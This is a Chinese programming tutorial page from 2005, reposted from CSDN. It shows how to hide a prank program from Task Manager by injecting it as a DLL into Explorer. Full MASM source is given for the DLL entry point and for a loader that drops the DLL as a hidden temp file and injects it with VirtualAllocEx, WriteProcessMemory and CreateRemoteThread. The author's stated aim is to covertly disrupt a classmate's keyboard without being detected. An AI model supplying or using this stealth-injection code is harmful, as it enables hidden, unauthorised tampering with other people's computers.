中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 程序开发 > 编程语言 > 综合其它
用dll注入的方式隐藏进程
作者:未知 时间:2005-07-27 23:27 出处:CSDN 责编:chinaitpower
              摘要:用dll注入的方式隐藏进程

上次那个改变键盘布局的程序,被同学很容易的就在任务管理器里找出来杀掉了,不爽!想个办法把它藏起来。

google了一下,发现隐藏进程的方法有很多。可以用rundll,但那样任务管理器里还是会多出个进程,引起怀疑。还可以写注册表里AppInit_Dlls一项,但我试了一下,结果一改就开不了机,可能是我的dll没写好吧。再有就是注入了,代码注入很隐蔽,但还要遇到代码定位,API定位等问题,麻烦,还是dll注入好了。决定了,说干就干!

先把原来的那个程序稍做修改,然后build成dll。即加一个DllEntry就行了。

DllEntry proc hInst: HINSTANCE, reason: DWORD, reserved1: DWORD
    LOCAL @dwThreadID
    .IF reason == DLL_PROCESS_ATTACH
        push hInst
        pop inst
        invoke CreateThread, NULL, 0, addr WinMain, NULL, NULL, addr @dwThreadID
        invoke CloseHandle, eax
    .ENDIF
    mov eax, TRUE
    ret
DllEntry endp

然后
ml /c /coff /Cp test.asm
link /DLL /SUBSYSTEM:WINDOWS test.obj

这样我就有了一个test.dll,把它注入到别的进程里就行啦。为了做成一个程序,我把这个dll作为资源放到另一个程序里,在用到的时候把它释放出来。编辑test.rc,写入一行:

1000 RCDATA hookx.dll

然后rc test.rc就得到了test.res,一会儿link的时候用。

下面就是写主程序了。程序中首先找到资源,把它释放到windows的temp文件夹下,并指定隐藏属性(为了隐蔽嘛)。然后就是FindWindow,找到资源管理器(找它是因为几乎所有系统中都会开这个进程嘛),打开,申请空间,写入LoadLibraryA的地址,CreateRemoteThread建立远程线程就OK了。

这里有一点要注意的就是,建立了远程线程之后要让该线程马上返回,否则被注入的程序就会一直等待,这也就是为什么我在DllEntry中又用了一个CreateThread的原因。

下面就是源程序了,就是连续调用一堆函数,也没注释,没做返回值的检查,崩溃了就不管喽!

.386
.model flat, stdcall
option casemap: none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

rcID equ 1000

.const
szKerdll db 'kernel32.dll', 0
szHookxdll db 'hookx.dll', 0
szDesktopClass db 'Progman', 0
szDesktopWindow db 'Program Manager', 0
szLoadlib db 'LoadLibraryA', 0

.data
szBuf db 256 dup(0)
szTempPath db 256 dup(0)
szFmt db '%s%s', 0

.data?
hInstance dd ?
hResInfo dd ?
hResData dd ?
lpResData dd ?
dwResDataLen dd ?
hHookxdll dd ?
dwWrote dd ?
dwProcessID dd ?
hProcess dd ?
lpCodeRemote dd ?

.code
start:
    invoke GetModuleHandle, NULL
    mov hInstance, eax
    invoke FindResource, hInstance, rcID, RT_RCDATA
    mov hResInfo, eax
    invoke LoadResource, hInstance, hResInfo
    mov hResData, eax
    invoke LockResource, hResData
    mov lpResData, eax
    invoke SizeofResource, hInstance, hResInfo
    mov dwResDataLen, eax
    invoke GetTempPath, SIZEOF szTempPath, OFFSET szTempPath
    invoke wsprintf, OFFSET szBuf, OFFSET szFmt, OFFSET szTempPath, OFFSET szHookxdll
    invoke CreateFile, OFFSET szBuf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_HIDDEN, 0
    mov hHookxdll, eax
    invoke WriteFile, hHookxdll, lpResData, dwResDataLen, OFFSET dwWrote, NULL
    invoke FindWindow, OFFSET szDesktopClass, OFFSET szDesktopWindow
    invoke GetWindowThreadProcessId, eax, OFFSET dwProcessID
    invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwProcessID
    mov hProcess, eax
    invoke VirtualAllocEx, hProcess, 0, SIZEOF szBuf, MEM_COMMIT, PAGE_EXECUTE_READWRITE
    mov lpCodeRemote, eax
    invoke WriteProcessMemory, hProcess, lpCodeRemote, OFFSET szBuf, SIZEOF szBuf, NULL
    invoke LoadLibrary, OFFSET szKerdll
    invoke GetProcAddress, eax, OFFSET szLoadlib
    invoke CreateRemoteThread, hProcess, 0, 0, eax, lpCodeRemote, 0, 0
    invoke CloseHandle, eax
    invoke CloseHandle, hProcess
    invoke ExitProcess, 0

end start

好了,编译连接一下,这回再运行,按alt+ctrl+del看一下,哈哈,没有任何迹象,成功!这回他该纳闷了,我的键盘怎么又不好使了??


关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有